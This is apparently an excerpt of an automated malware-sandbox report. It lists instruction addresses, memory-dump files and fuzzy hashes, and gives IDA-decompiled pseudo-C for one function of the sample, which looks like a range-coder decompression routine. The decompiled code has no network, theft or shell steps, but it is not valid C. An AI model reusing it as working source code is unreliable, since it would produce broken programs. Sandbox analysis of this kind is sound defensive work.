0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00000000
0x00000000
0x00407395
0x00407399
0x004073bb
0x004073be
0x004073c8
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00000000
0x00407489
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407546
0x00407447
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00407447
0x00407447
0x00000000
0x0040744d
0x00407447
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074eb
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x0040751d
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x0040738e
0x004075c3
0x00000000
0x00000000
0x00406bf2
0x004075fa
0x004075fa
0x00000000
0x004075fa
0x00407447
0x004073ce
0x004073cb
0x00000000
0x00407120

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c68610f165bc536a6a66ce61bc987e677a2aaa57ebbfa987bd426c3fc0f92c56
Instruction ID: aecab3f40db1f9fc07a3dc9ea3777efa7aa3d7dc23f88bc09ddd959c6243594a
Opcode Fuzzy Hash: c68610f165bc536a6a66ce61bc987e677a2aaa57ebbfa987bd426c3fc0f92c56
Instruction Fuzzy Hash: 2B711571D04228DBEF28CF98C8547ADBBB1FF44305F14806AD856BB281D778A986DF05

Uniqueness

Uniqueness Score: -1.00%

Function 00407068 Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407068() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push(9);
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8));
											}
											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
